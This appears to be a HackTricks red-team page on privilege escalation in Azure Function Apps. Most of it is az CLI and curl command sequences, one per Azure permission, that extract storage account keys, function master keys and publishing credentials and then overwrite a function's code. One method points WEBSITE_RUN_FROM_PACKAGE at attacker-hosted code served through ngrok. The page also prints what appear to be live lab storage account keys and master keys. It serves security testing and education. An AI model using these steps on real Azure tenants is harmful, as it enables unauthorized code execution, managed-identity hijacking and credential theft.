Az - Functions App Privesc

Reading time: 16 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Function Apps

Check the following page for more information:

Az - Function Apps

Bucket Read/Write

With permissions to read the containers inside the Storage Account that stores the function data it's possible to find different containers (custom or with pre-defined names) that might contain the code executed by the function.

Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and make the function load arbitrary code allowing to escalate privileges to the managed identities attached to the Function.

This deployment method usually configures the settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE which you can get from

bash
az functionapp config appsettings list \
  --name <app-name> \
  --resource-group <res-group>

Those configs will contain the Storage Account Key that the Function can use to access the code.

caution

With enough permission to connect to the File Share and modify the script running it's possible to execute arbitrary code in the Function and escalate privileges.

The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:

Az - File Shares

bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

It's also common to find the zip releases inside the folder function-releases of the Storage Account container that the function app is using in a container usually called function-releases.

Usually this deployment method will set the WEBSITE_RUN_FROM_PACKAGE config in:

bash
az functionapp config appsettings list \
  --name <app-name> \
  --resource-group <res-group>

This config will usually contain a SAS URL to download the code from the Storage Account.

caution

With enough permission to connect to the blob container that contains the code in zip it's possible to execute arbitrary code in the Function and escalate privileges.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder github-actions-deploy in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container scm-releases. In there it's possible to find the latest release in Squashfs filesystem file format and therefore it's possible to read the code of the function:

bash
# List containers inside the storage account of the function app
az storage container list \
  --account-name <acc-name> \
  --output table

# List files inside one container
az storage blob list \
  --account-name <acc-name> \
  --container-name <container-name> \
  --output table

# Download file
az storage blob download \
  --account-name <res-group> \
  --container-name scm-releases \
  --name scm-latest-<app-name>.zip \
  --file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

It's also possible to find the master and functions keys stored in the storage account in the container azure-webjobs-secrets inside the folder <app-name> in the JSON files you can find inside.

caution

With enough permission to connect to the blob container that contains the code in a zip extension file (which actually is a squashfs) it's possible to execute arbitrary code in the Function and escalate privileges.

bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
  --account-name <storage-account> \
  --container-name scm-releases \
  --name scm-latest-<app-name>.zip \
  --file /tmp/scm-latest-<app-name>.zip \
  --overwrite

Microsoft.Web/sites/host/listkeys/action

This permission allows to list the function, master and system keys, but not the host one, of the specified function with:

bash
az functionapp keys list --resource-group <res_group> --name <func-name>

With the master key it's also possible to to get the source code in a URL like:

bash
# Get "script_href" from
az rest --method GET \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v

And to change the code that is being executed in the function with:

bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

This permission allows to get the host key, of the specified function with:

bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Microsoft.Web/sites/host/functionKeys/write

This permission allows to create/update a function key of the specified function with:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

This permission allows to create/update a master key to the specified function with:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

caution

Remember that with this key you can also access the source code and modify it as explained before!

Microsoft.Web/sites/host/systemKeys/write

This permission allows to create/update a system function key to the specified function with:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/config/list/action

This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values AzureWebJobsStorage or WEBSITE_CONTENTAZUREFILECONNECTIONSTRING which contains an account key to access the blob storage of the function with FULL permissions.

bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Moreover, this permission also allows to get the SCM username and password (if enabled) with:

bash
az rest --method POST \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

These permissions allows to list the config values of a function as we have seen before plus modify these values. This is useful because these settings indicate where the code to execute inside the function is located.

It's therefore possible to set the value of the setting WEBSITE_RUN_FROM_PACKAGE pointing to an URL zip file containing the new code to execute inside a web application:

  • Start by getting the current config
bash
az functionapp config appsettings list \
  --name <app-name> \
  --resource-group <res-name>
  • Create the code you want the function to run and host it publicly
bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Modify the function, keep the previous parameters and add at the end the config WEBSITE_RUN_FROM_PACKAGE pointing to the URL with the zip containing the code.

The following is an example of my own settings you will need to change the values for yours, note at the end the values "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", this is where I was hosting the app.

bash
# Modify the function
az rest --method PUT \
  --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
  --headers '{"Content-Type": "application/json"}' \
  --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

With this permission it's possible to modify the code of an application through the web console (or through the following API endpoint):

bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
  --uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
  --headers '{"Content-Type": "application/json", "If-Match": "*"}' \
  --body @/tmp/body

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

This permissions allows to list all the publishing profiles which basically contains basic auth credentials:

bash
# Get creds
az functionapp deployment list-publishing-profiles \
    --name <app-name> \
    --resource-group <res-name> \
    --output json

Another option would be to set you own creds and use them using:

bash
az functionapp deployment user set \
    --user-name DeployUser123456 g \
    --password 'P@ssw0rd123!'
  • If REDACTED credentials

If you see that those credentials are REDACTED, it's because you need to enable the SCM basic authentication option and for that you need the second permission (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

bash
# Enable basic authentication for SCM
az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
    --body '{
        "properties": {
            "allow": true
        }
    }'

# Enable basic authentication for FTP
az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
    --body '{
        "properties": {
            "allow": true
        }
    }
  • Method SCM

Then, you can access with these basic auth credentials to the SCM URL of your function app and get the values of the env variables:

bash
# Get settings values
curl -u '<username>:<password>' \
    https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
    https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Note that the SCM username is usually the char "$" followed by the name of the app, so: $<app-name>.

You can also access the web page from https://<app-name>.scm.azurewebsites.net/BasicAuth

The settings values contains the AccountKey of the storage account storing the data of the function app, allowing to control that storage account.

  • Method FTP

Connect to the FTP server using:

bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
     ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Note that the FTP username is usually in the format <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

This permission allows to read the source code of the app through the VFS:

bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

With this permission it's possible to get the admin token which can be later used to retrieve the master key and therefore access and modify the function's code.

However, in my lasts checks no token was returned, so it might be disabled or not working anymore, but here is how you would do it:

bash
# Get admin token
az rest --method GET \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
  -H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

This permissions allows to enable functions that might be disabled (or disable them).

bash
# Enable a disabled function
az functionapp config appsettings set \
  --name <app-name> \
  --resource-group <res-group> \
  --settings "AzureWebJobs.http_trigger1.Disabled=false"

It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):

bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

With these permissions it's possible to modify the container run by a function app configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.

bash
az functionapp config container set --name <app-name> \
    --resource-group <res-group> \
    --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

With these permissions it's possible to attach a new user managed identity to a function. If the function was compromised this would allow to escalate privileges to any user managed identity.

bash
az functionapp identity assign \
    --name <app-name> \
    --resource-group <res-group> \
    --identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Remote Debugging

It's also possible to connect to debug a running Azure function as explained in the docs. However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.

It's possible to check if a Function has debugging enabled with:

bash
az functionapp show --name <app-name> --resource-group <res-group>

Having the permission Microsoft.Web/sites/config/write it's also possible to put a function in debugging mode (the following command also requires the permissions Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read and Microsoft.Web/sites/Read).

bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Change Github repo

I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, the new code was not loaded (probably because it's expecting the Github Action to update the code).
Moreover, the managed identity federated credential wasn't updated allowing the new repository, so it looks like this isn't very useful.

bash
# Remove current
az functionapp deployment source delete \
  --name funcGithub \
  --resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
  --name funcGithub \
  --resource-group Resource_Group_1 \
  --repo-url "https://github.com/orgname/azure_func3" \
  --branch main --github-action true

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks